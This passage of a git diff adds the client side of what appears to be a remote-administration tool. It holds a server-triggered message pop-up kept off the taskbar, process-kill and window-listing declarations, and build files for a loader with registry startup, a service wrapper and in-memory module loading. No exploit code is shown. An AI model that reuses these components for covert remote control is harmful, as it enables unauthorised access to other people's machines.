VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
VOID KillProcess(LPBYTE szBuffer, UINT ulLength);
|
||||
LPBYTE GetWindowsList();
|
||||
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam);
|
||||
void SendWindowsList();
|
||||
void TestWindow(LPBYTE szBuffer);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
|
||||
155
client/TalkManager.cpp
Normal file
155
client/TalkManager.cpp
Normal file
@@ -0,0 +1,155 @@
|
||||
// TalkManager.cpp: implementation of the CTalkManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "TalkManager.h"
|
||||
#include "Common.h"
|
||||
#include "resource.h"
|
||||
#include <IOSTREAM>
|
||||
#include <mmsystem.h>
|
||||
|
||||
#pragma comment(lib, "WINMM.LIB")
|
||||
|
||||
#define ID_TIMER_POP_WINDOW 1
|
||||
#define ID_TIMER_DELAY_DISPLAY 2
|
||||
#define ID_TIMER_CLOSE_WINDOW 3
|
||||
|
||||
#define WIN_WIDTH 360
|
||||
#define WIN_HEIGHT 200
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
m_hInstance = HINSTANCE(user);
|
||||
g_Event = 0;
|
||||
memset(g_Buffer, 0, sizeof(g_Buffer));
|
||||
BYTE bToken = TOKEN_TALK_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
WaitForDialogOpen();
|
||||
Mprintf("Talk 构造\n");
|
||||
}
|
||||
|
||||
CTalkManager::~CTalkManager()
|
||||
{
|
||||
Mprintf("Talk 析构\n");
|
||||
}
|
||||
|
||||
VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0]) {
|
||||
case COMMAND_NEXT: {
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
|
||||
default: {
|
||||
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
|
||||
//创建一个DLG
|
||||
DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
||||
WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
static CTalkManager* This = nullptr;
|
||||
switch(uMsg) {
|
||||
case WM_TIMER: {
|
||||
if (This) This->OnDlgTimer(hDlg);
|
||||
break;
|
||||
}
|
||||
case WM_INITDIALOG: {
|
||||
// 获取当前窗口样式
|
||||
LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE);
|
||||
// 移除 WS_EX_APPWINDOW 样式,添加 WS_EX_TOOLWINDOW 样式
|
||||
exStyle &= ~WS_EX_APPWINDOW;
|
||||
exStyle |= WS_EX_TOOLWINDOW;
|
||||
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
|
||||
This = (CTalkManager*)lParam;
|
||||
if(This) This->OnInitDialog(hDlg);
|
||||
break;
|
||||
}
|
||||
case WM_COMMAND:
|
||||
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) {
|
||||
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT;
|
||||
if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
EndDialog(hDlg, LOWORD(wParam));
|
||||
return (INT_PTR)TRUE;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
VOID CTalkManager::OnInitDialog(HWND hDlg)
|
||||
{
|
||||
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
|
||||
|
||||
static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
|
||||
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
|
||||
|
||||
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
|
||||
|
||||
::SetFocus(GetDesktopWindow());
|
||||
|
||||
memset(g_Buffer,0,sizeof(g_Buffer));
|
||||
|
||||
g_Event = ID_TIMER_POP_WINDOW;
|
||||
SetTimer(hDlg, g_Event, 1, NULL);
|
||||
|
||||
PlaySound(MAKEINTRESOURCE(IDR_WAVE),
|
||||
m_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
||||
}
|
||||
|
||||
|
||||
VOID CTalkManager::OnDlgTimer(HWND hDlg) //时钟回调
|
||||
{
|
||||
RECT Rect;
|
||||
static int Height=0;
|
||||
SystemParametersInfo(SPI_GETWORKAREA, 0, &Rect,0);
|
||||
int y=Rect.bottom-Rect.top;;
|
||||
int x=Rect.right-Rect.left;
|
||||
x=x-WIN_WIDTH;
|
||||
|
||||
switch(g_Event) {
|
||||
case ID_TIMER_CLOSE_WINDOW: {
|
||||
if(Height>=0) {
|
||||
Height-=5;
|
||||
MoveWindow(hDlg, x,y-Height, WIN_WIDTH, Height,TRUE);
|
||||
} else {
|
||||
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT; // 包含头文件 Common.h
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1); // 发送允许重新发送的指令
|
||||
EndDialog(hDlg,0);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case ID_TIMER_DELAY_DISPLAY: {
|
||||
KillTimer(hDlg,ID_TIMER_DELAY_DISPLAY);
|
||||
g_Event = ID_TIMER_CLOSE_WINDOW;
|
||||
SetTimer(hDlg,g_Event, 5, NULL);
|
||||
break;
|
||||
}
|
||||
case ID_TIMER_POP_WINDOW: {
|
||||
if(Height<=WIN_HEIGHT) {
|
||||
Height+=3;
|
||||
MoveWindow(hDlg,x, y-Height, WIN_WIDTH, Height,TRUE);
|
||||
} else {
|
||||
KillTimer(hDlg,ID_TIMER_POP_WINDOW);
|
||||
g_Event = ID_TIMER_DELAY_DISPLAY;
|
||||
SetTimer(hDlg,g_Event, 4000, NULL);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
32
client/TalkManager.h
Normal file
32
client/TalkManager.h
Normal file
@@ -0,0 +1,32 @@
|
||||
// TalkManager.h: interface for the CTalkManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||
#define AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
class CTalkManager : public CManager
|
||||
{
|
||||
public:
|
||||
HINSTANCE m_hInstance;
|
||||
CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CTalkManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
static INT_PTR CALLBACK DialogProc(HWND hDlg, UINT uMsg,
|
||||
WPARAM wParam, LPARAM lParam);
|
||||
|
||||
VOID OnInitDialog(HWND hDlg);
|
||||
VOID OnDlgTimer(HWND hDlg);
|
||||
|
||||
char g_Buffer[TALK_DLG_MAXLEN];
|
||||
UINT_PTR g_Event;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||
BIN
client/TestRun.rc
Normal file
BIN
client/TestRun.rc
Normal file
Binary file not shown.
188
client/TestRun_vs2015.vcxproj
Normal file
188
client/TestRun_vs2015.vcxproj
Normal file
@@ -0,0 +1,188 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
|
||||
<RootNamespace>TestRun</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>TestRun</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="auto_start.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
<ClInclude Include="resource1.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="TestRun.rc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
4
client/TestRun_vs2015.vcxproj.user
Normal file
4
client/TestRun_vs2015.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
161
client/TinyRun.vcxproj
Normal file
161
client/TinyRun.vcxproj
Normal file
@@ -0,0 +1,161 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{e3f3a477-05ba-431d-b002-28ef8bfa6e86}</ProjectGuid>
|
||||
<RootNamespace>TinyRunner</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<IntDir>$(Configuration)\tiny</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<IntDir>$(Configuration)\tiny</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<IntDir>$(Platform)\$(Configuration)\tiny</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<IntDir>$(Platform)\$(Configuration)\tiny</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
